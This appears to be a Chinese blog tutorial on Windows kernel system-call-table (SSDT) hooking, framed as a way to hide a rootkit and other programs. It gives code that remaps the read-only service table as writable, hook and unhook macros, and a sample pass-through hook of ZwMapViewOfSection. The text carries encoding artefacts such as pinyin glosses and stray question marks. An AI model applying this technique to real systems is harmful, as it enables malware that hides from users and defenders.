内核钩子学习
如何建立內(nèi)核級(jí)鉤子控制操作系統(tǒng)實(shí)現(xiàn)程序隱身
我們知道,應(yīng)用程序總是離不開系統(tǒng)內(nèi)核所提供的服務(wù),比如它要使用內(nèi)存的時(shí)候,只要跟操作系統(tǒng)申請(qǐng)就行了,而不用自己操心哪里有空閑的內(nèi)存空間等問題,實(shí)際上,這些問題是由操作系統(tǒng)的內(nèi)核來代勞的。站在黑客的角度講,如果能夠控制內(nèi)核,實(shí)際上就是控制了內(nèi)核之上的各種應(yīng)用程序。本文將向您介紹如何建立內(nèi)核級(jí)鉤子來控制操作系統(tǒng)向上提供的各種低級(jí)功能。有了內(nèi)核級(jí)鉤子,我們不但能夠控制、監(jiān)視其他程序并過濾有關(guān)數(shù)據(jù),還能用其實(shí)現(xiàn)Rootkit本身及其它程序的隱形。
本文首先回顧系統(tǒng)調(diào)用表和內(nèi)存保護(hù)方面的知識(shí),然后講解如何實(shí)現(xiàn)內(nèi)核鉤子,最后對(duì)一些重要的內(nèi)核函數(shù)進(jìn)行了簡(jiǎn)要的說明。
一、系統(tǒng)調(diào)用表
系統(tǒng)調(diào)用表又稱系統(tǒng)服務(wù)表或者服務(wù)描述符表,是Windows 內(nèi)核在進(jìn)行各種系統(tǒng)操作時(shí)所需的一個(gè)函數(shù)指針表。也就是說,這個(gè)表中存放的是提供系統(tǒng)服務(wù)的各種函數(shù)的地址。當(dāng)然,該表所指向的都是系統(tǒng)自身的一些函數(shù),但是,如果我們對(duì)它做了手腳后,就可以讓它指向我們自己的函數(shù)。這正是本文要講解的重點(diǎn)。
讀者一定要注意,修改系統(tǒng)調(diào)用表及替換內(nèi)核函數(shù)時(shí),會(huì)對(duì)系統(tǒng)全局產(chǎn)生影響,稍有不慎就會(huì)導(dǎo)致系統(tǒng)崩潰。所以,下手之前,最好對(duì)表中的各個(gè)函數(shù)要有足夠的認(rèn)識(shí),然后才好用我們自己的函數(shù)替換這些內(nèi)核函數(shù)的方法。你對(duì)它們了解得越多越深,在實(shí)現(xiàn)內(nèi)核鉤子的時(shí)候就越順手。但話又說回來,這個(gè)系統(tǒng)調(diào)用表中的表項(xiàng)實(shí)在是太多了,有的指向字符串操作,有的指向客戶機(jī)/服務(wù)器操作,等等。所以要在短時(shí)間內(nèi)了解所有表項(xiàng)是不可能的,所以下文中對(duì)它們只做有選擇的、概括的介紹。
二、內(nèi)存保護(hù)
現(xiàn)代的Windows操作系統(tǒng)通常將系統(tǒng)調(diào)用表所在內(nèi)存頁設(shè)為只讀來提供保護(hù)。如果不能克服這個(gè)問題,實(shí)施內(nèi)核鉤子技術(shù)就是癡人說夢(mèng)。因?yàn)樵噲D向只讀內(nèi)存寫入數(shù)據(jù)也即修改只讀內(nèi)存區(qū)時(shí),立刻就會(huì)藍(lán)屏。為此,先讓我們來了解一下內(nèi)存保護(hù)方面的有關(guān)知識(shí)。
內(nèi)存描述符表是內(nèi)存保護(hù)的一大關(guān)鍵,具體定義詳見微軟DDK中的ntddk.h頭文件,我們這里僅做簡(jiǎn)要介紹:
typedef struct _MDL {
?struct _MDL *Next;
?CSHORT Size;
?CSHORT MdlFlags;
?struct _EPROCESS *Process;
?PVOID MappedSystemVa;
?PVOID StartVa;
?ULONG ByteCount;
?ULONG ByteOffset;
} MDL, *PMDL;
#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_FREE_EXTRA_PTES 0x0200
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000
#define MDL_MAPPING_FLAGS (MDL_MAPPED_TO_SYSTEM_VA | \
?MDL_PAGES_LOCKED | \
?MDL_SOURCE_IS_NONPAGED_POOL | \
?MDL_PARTIAL_HAS_BEEN_MAPPED | \
?MDL_PARENT_MAPPED_SYSTEM_VA | \
?MDL_SYSTEM_VA | \
?MDL_IO_SPACE )
內(nèi)存描述符表(MDL)的作用是將虛擬內(nèi)存映射成物理頁。如果將系統(tǒng)調(diào)用表所在內(nèi)存頁的MDL的MDLFlags成員設(shè)為MDL_MAPPED_TO_SYSTEM_VA 并且該頁面被鎖定的話,那么就可以使用內(nèi)核鉤子技術(shù)了。以下代碼將可以達(dá)此目的:
#pragma pack(1)
typedef struct ServiceDescriptorEntry
{
?unsigned int *ServiceTableBase;
?unsigned int *ServiceCounterTableBase;
?unsigned int NumberOfServices;
?unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
PVOID* NewSystemCallTable;
PMDL pMyMDL = MmCreateMdl( NULL,
?KeServiceDescriptorTable.ServiceTableBase,
?KeServiceDescriptorTable.NumberOfServices * 4 );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
好了,我們現(xiàn)在可以通過NewSystemCallTable來新建系統(tǒng)調(diào)用表了。系統(tǒng)調(diào)用表如下圖所示。
?
圖1 ?系統(tǒng)調(diào)用表示意圖?
進(jìn)行掛鉤時(shí),可以使用以下宏:
#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)
#define HOOK(functionName, newPointer2Function, oldPointer2Function ) ?\
?oldPointer2Function = (PVOID) InterlockedExchange( (PLONG)
&NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)
#define UNHOOK(functionName, oldPointer2Function) ?\
?InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)]
?, (LONG)
oldPointer2Function)
使這些宏后,鉤子技術(shù)會(huì)變得更簡(jiǎn)單,也更安全。因?yàn)镮nterlockedExchange 是原子函數(shù),不會(huì)要求中止中斷,所以交換指針的方式是安全的;另外,它也不需要用一個(gè)宏掛鉤之后用另一個(gè)宏卸載鉤子,所以也更方便。下圖向我們展示了攔截系統(tǒng)調(diào)用表的過程。
?
圖2 ?系統(tǒng)調(diào)用表攔截技術(shù)示意圖?
系統(tǒng)調(diào)用表數(shù)據(jù)結(jié)構(gòu)KeServiceDescriptorTable不僅含有ntdll.dll 的全部函數(shù)指針,還存有系統(tǒng)調(diào)用表的基地址和表的大小,當(dāng)建立我們自己的內(nèi)存描述符表的時(shí)候,這些信息是不可或缺的。利用MDL_MAPPED_TO_SYSTEM_VA 標(biāo)志,我們可以建立一個(gè)不可頁出(即不會(huì)被換到內(nèi)存之外)的MDL ,這樣我們就可以將其鎖定,并把返回的地址用于我們自己的系統(tǒng)調(diào)用表,重要的是,這個(gè)系統(tǒng)調(diào)用表是可寫的。
三、定義鉤子函數(shù)
內(nèi)核鉤子主要有三部分組成:要鉤取的函數(shù)(在下文中稱為目標(biāo)函數(shù))、替代要鉤取的函數(shù)的函數(shù)(在下文中成為鉤子函數(shù))和系統(tǒng)調(diào)用表。前面部分介紹了系統(tǒng)調(diào)用表的問題,下面開始介紹鉤子函數(shù)。一般說來,當(dāng)定義自己的鉤子函數(shù)時(shí),可以先到DDK 的頭文件中找到所想要的函數(shù)的原型,然后,稍加修改就能把目標(biāo)函數(shù)變成鉤子函數(shù)了。
例如,ZwMapViewOfSection 是一個(gè)內(nèi)核函數(shù),允許應(yīng)用程序把從動(dòng)態(tài)鏈接庫(kù)導(dǎo)出的函數(shù)映射至內(nèi)存。如果我們想要鉤住這個(gè)內(nèi)核函數(shù),那么可以到ntddk.h頭文件中查看其函數(shù)原型,如下所示:
NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
?IN HANDLE SectionHandle,
?IN HANDLE ProcessHandle,
?IN OUT PVOID *BaseAddress,
?IN ULONG ZeroBits,
?IN ULONG CommitSize,
?IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
?IN OUT PSIZE_T ViewSize,
?IN SECTION_INHERIT InheritDisposition,
?IN ULONG AllocationType,
?IN ULONG Protect );
有了函數(shù)原型,我們就可以確定指向目標(biāo)函數(shù)的指針了,如下所示:
typedef NTSTATUS (*ZWMAPVIEWOFSECTION)(
?IN HANDLE SectionHandle,
?IN HANDLE ProcessHandle,
?IN OUT PVOID *BaseAddress,
?IN ULONG ZeroBits,
?IN ULONG CommitSize,
?IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
?IN OUT PSIZE_T ViewSize,
?IN SECTION_INHERIT InheritDisposition,
?IN ULONG AllocationType,
?IN ULONG Protect );
ZWMAPVIEWOFSECTION OldZwMapViewOfSection;
鉤子函數(shù)如下所示:
NTSTATUS NewZwMapViewOfSection(
?IN HANDLE SectionHandle,
?IN HANDLE ProcessHandle,
?IN OUT PVOID *BaseAddress,
?IN ULONG ZeroBits,
?IN ULONG CommitSize,
?IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
?IN OUT PSIZE_T ViewSize,
?IN SECTION_INHERIT InheritDisposition,
?IN ULONG AllocationType,
?IN ULONG Protect )
{
?NTSTATUS status;
?DbgPrint("comint32: NewZwMapViewOfSection called.");
?//我們可以對(duì)輸入為所欲為,既可以馬上返回,也可以繼續(xù)執(zhí)行原函數(shù)
?status = OldZwMapViewOfSection(SectionHandle,
? ProcessHandle,
? BaseAddress,
? ZeroBits,
? CommitSize,
? SectionOffset OPTIONAL,
? ViewSize,
? InheritDisposition,
? AllocationType,
? Protect );
?// 我們可以在此對(duì)輸出為所欲為,想返回什么,就返回什么
?return status;
}
?
好了,鉤子技術(shù)的三大件已經(jīng)準(zhǔn)備好了?,F(xiàn)在,我們就可以像下面這樣使用它們:
HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
如果你打算使用DriverUnload ()的話,可千萬不要忘了卸載鉤子。
《新程序員》:云原生和全面數(shù)字化實(shí)踐50位技術(shù)專家共同創(chuàng)作,文字、視頻、音頻交互閱讀總結(jié)
- 上一篇: Windows内核系统调用分析
- 下一篇: 超图桌面版打开外部矢量文件